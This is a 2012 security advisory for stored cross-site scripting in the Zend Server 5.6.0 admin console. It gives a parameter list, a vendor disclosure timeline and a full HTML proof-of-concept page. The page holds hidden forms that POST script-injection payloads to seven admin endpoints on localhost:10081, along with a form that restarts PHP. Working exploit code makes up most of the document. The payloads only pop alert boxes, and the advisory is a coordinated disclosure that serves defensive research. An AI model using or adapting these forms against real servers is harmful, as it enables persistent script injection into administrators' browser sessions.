Zend Server 5.6.0 Script Insertion


Affected version: Zend Server 5.6.0
*Zend Optimizer+ 4.1
*Zend Code Tracing 1.0
*Zend Data Cache 4.0
*Zend Job Queue 4.0
*Zend Debugger 5.3
*Zend Java Bridge 3.1

Summary: Zend Server is a complete, enterprise-ready Web Application Server for running
and managing PHP applications.

Desc: Zend Server and its components suffers from a cross-site scripting vulnerability.
The persistent (stored) XSS issues are triggered when input passed via several parameters
to several scripts is not properly sanitized before being returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user’s browser session in
context of an affected site. List of parameters and modules that are affected:

———————————————————————————
* Parameter *                                              * Module/Component *
———————————————————————————

1. directives[zend_optimizerplus.blacklist_filename]   —   Zend:Optimizer+
2. traceUrl                                            —   Zend:Code Tracing
3. host                                                —   Zend:Data Cache
4. name                                                —   Zend:Data Cache
5. path                                                —   Zend:Data Cache
6. ruleName                                            —   Zend:Job Queue
7. directives[zend_jbridge.encoding]                   —   Zend:Java Bridge
8. directives[zend_debugger.allow_hosts]               —   Zend:Debugger
9. directives[zend_debugger.deny_hosts]                —   Zend:Debugger
10. directives[zend_codetracing.log_file]               —   Zend:Code Tracing

———————————————————————————

Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/0.9.8o
PHP 5.3.9-ZS5.6.0

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com
Zero Science Lab – http://www.zeroscience.mk

Vendor status:

[22.02.2012] Vulnerabilities discovered.
[23.02.2012] Contact with the vendor.
[23.02.2012] Vendor responds asking for details.
[24.02.2012] Sent detailed information to the vendor.
[24.02.2012] Vendor assigns appropriate team for coordination.
[27.02.2012] Vendor is analyzing the issues, working on a fix.
[27.02.2012] Asked vendor for confirmation and scheduled patch release date.
[28.02.2012] Vendor replies with confirmation of the issues.
[05.03.2012] Asked vendor for status update.
[06.03.2012] Vendor created fix for the issues, promising patch release date.
[07.03.2012] Sent coordination details to the vendor.
[07.03.2012] Vendor replies with release information.
[08.03.2012] Vendor releases hotfix 5.6.0 SP1 to address these issues.
[10.03.2012] Coordinated public security advisory released.

<html>

<title>Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities</title>
<link rel=”Shortcut Icon” href=”http://zeroscience.mk/favicon.ico&#8221; type=”image/x-icon”>
<body bgcolor=”#1C1C1C”><br />
<img style=”margin-left:10″ src=”http://zeroscience.mk/images/zsl-logo1.png&#8221; hight=”20%” width=”20%”>

<script type=”text/javascript”>

var disclaimer = “This  document and all the information it contains are provided \”as is\”,\n” +
“for educational purposes only, without warranty of any kind, whether\n” +
“express or implied.\n\n” +

“The  author reserves the right not to be responsible for the topicality,\n” +
“correctness, completeness or quality of the information provided in\n” +
“this document. Liability claims regarding damage caused by the use of\n” +
“any information provided, including any kind of information which is\n” +
“incomplete or incorrect, will therefore be rejected.”;

var answ = confirm(disclaimer);

if (answ == true){}else{window.location.href = “http://www.zend.com&#8221;;}

function xss1(){document.forms[“xss1”].submit();}
function xss2(){document.forms[“xss2”].submit();}
function xss3(){document.forms[“xss3”].submit();}
function xss4(){document.forms[“xss4”].submit();}
function xss5(){document.forms[“xss5”].submit();}
function xss6(){document.forms[“xss6”].submit();}
function xss7(){document.forms[“xss7”].submit();}
function rst(){document.forms[“rst”].submit();}

</script>

<center><h2 style=”position:absolute;left:525;top:32;background-color:#BAB8B9;width:200″>
HTML Response:</h2></center>

http://www.zeroscience.mk/codes/zend_s03.txt

<font color=”#414141″ size=”2″ style=”position:absolute;top:795px;right:55px”>v0.3</font>

<br />

<form action=”http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss1″ target=”ZSL_iframe”>
<input type=”hidden” name=”trgtAction” value=”Search” />
<input type=”hidden” name=”searchName” value=’ext:Zend Optimizer+’ />
<input type=”hidden” name=’directives[zend_optimizerplus.blacklist_filename]’ value='”><script>alert(1);</script>’ />
</form>

<form action=”http://localhost:10081/ZendServer/Code-Tracing/Generate-Dump&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss2″ target=”ZSL_iframe”>
<input type=”hidden” name=”traceUrl” value='”><script>alert(“ZSL”);</script>’ />
</form>

<form action=”http://localhost:10081/ZendServer/Page-Cache/Save-Rule&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss3″ target=”ZSL_iframe”>
<input type=”hidden” name=”compression” value=”1″ />
<input type=”hidden” name=”host” value='”><script>alert(1);</script>’ />
<input type=”hidden” name=”lifetime” value=”11″ />
<input type=”hidden” name=”matchConditions” value=”ALL” />
<input type=”hidden” name=”name” value='”><script>alert(2);</script>’ />
<input type=”hidden” name=”path” value='”><script>alert(3);</script>’ />
<input type=”hidden” name=’rule[zend_widget_pageCache_condition_5][conditionMatch]’ value=”1″ />
<input type=”hidden” name=’rule[zend_widget_pageCache_condition_5][conditionType]’ value=”equals” />
<input type=”hidden” name=’rule[zend_widget_pageCache_condition_5][conditionValue]’ value=”1″ />
<input type=”hidden” name=’rule[zend_widget_pageCache_condition_5][conditionVar]’ value=”_GET” />
<input type=”hidden” name=”schema” value=”http” />
<input type=”hidden” name=”type” value=”exact” />
</form>

<form action=”http://localhost:10081/ZendServer/Job-Queue-Scheduling/Save-Rule&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss4″ target=”ZSL_iframe”>
<input type=”hidden” name=”ruleId” value=”” />
<input type=”hidden” name=”ruleName” value='”><script>alert(“ZSL”);</script>’ />
<input type=”hidden” name=”ruleUrl” value=”http://www.zeroscience.mk&#8221; />
<input type=”hidden” name=”scheduleDailyTime” value=”” />
<input type=”hidden” name=”scheduleEvery” value=”schedule-every-hours” />
<input type=”hidden” name=”scheduleEveryHours” value=”1″ />
<input type=”hidden” name=”scheduleEveryMinutes” value=”” />
<input type=”hidden” name=”scheduleHourlyMinute” value=”” />
<input type=”hidden” name=”scheduleMonthlyDay” value=”” />
<input type=”hidden” name=”scheduleMonthlyTime” value=”” />
<input type=”hidden” name=”scheduleType” value=”schedule-every” />
<input type=”hidden” name=”scheduleWeeklyTime” value=”” />
</form>

<form action=”http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBKYXZhIEJyaWRnZQ%3D%3D&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss5″ target=”ZSL_iframe”>
<input type=”hidden” name=”trgtAction” value=”Search” />
<input type=”hidden” name=”searchName” value=’ext:Zend Java Bridge’ />
<input type=”hidden” name=”directives[zend_jbridge.encoding]” value='”><script>alert(1);</script>’ />
</form>

<form action=”http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBEZWJ1Z2dlcg%3D%3D&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss6″ target=”ZSL_iframe”>
<input type=”hidden” name=”trgtAction” value=”Search” />
<input type=”hidden” name=”searchName” value=’ext:Zend Debugger’ />
<input type=”hidden” name=”directives[zend_debugger.allow_hosts]” value='”><script>alert(1);</script>’ />
<input type=”hidden” name=”directives[zend_debugger.deny_hosts]” value='”><script>alert(2);</script>’ />
</form>

<form action=”http://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”xss7″ target=”ZSL_iframe”>
<input type=”hidden” name=”trgtAction” value=”Search” />
<input type=”hidden” name=”searchName” value=’ext:Zend Code Tracing’ />
<input type=”hidden” name=’directives[zend_codetracing.log_file]’ value='”><script>alert(1);</script>’ />
</form>

<form action=”http://localhost:10081/ZendServer/Configuration/Webserver-Restart&#8221;
enctype=”application/x-www-form-urlencoded” method=”POST” id=”rst” target=”ZSL_iframe”>

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”1. XSS POST Injection –> ‘directives[zend_optimizerplus.blacklist_filename]'” onClick=”xss1()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”2. XSS POST Injection –> ‘traceUrl'” onClick=”xss2()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”3. XSS POST Injection –> ‘host’, ‘name’, ‘path'” onClick=”xss3()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”4. XSS POST Injection –> ‘ruleName'” onClick=”xss4()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”5. XSS POST Injection –> ‘directives[zend_jbridge.encoding]'” onClick=”xss5()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”6. XSS POST Injection –> ‘directives[zend_debugger.allow_hosts]'” onClick=”xss6()” />
<br /><br />

<input type=”button”
style=”color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10″
value=”7. XSS POST Injection –> ‘directives[zend_codetracing.log_file]'” onClick=”xss7()” />
<br /><br /><br /><br />

<input type=”button”
style=”color:white;background-color:#c05c5c;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:5;padding-bottom:5;margin-left:10″
value=”8. Restart PHP” onClick=”rst()” />

<br /><br />
<br /><br />

<font color=”gray” size=”2″ style=”margin-left:10″>&copy; 2012. <a href=”http://www.zeroscience.mk&#8221;
target=”_blank” style=”text-decoration:none”><font color=”gray”>Zero Science Lab</font></a><br />
<font style=”margin-left:10″>Macedonian Information Security Research And Development Laboratory</font>
<br /><font style=”margin-left:10″>
Proof of Concept (PoC) code for advisory ID:
<a href=”http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php&#8221; target=”ZSL_iframe”
style=”text-decoration:none”><font color=”gray”>ZSL-2012-5078</font></a></font>

</body></html>

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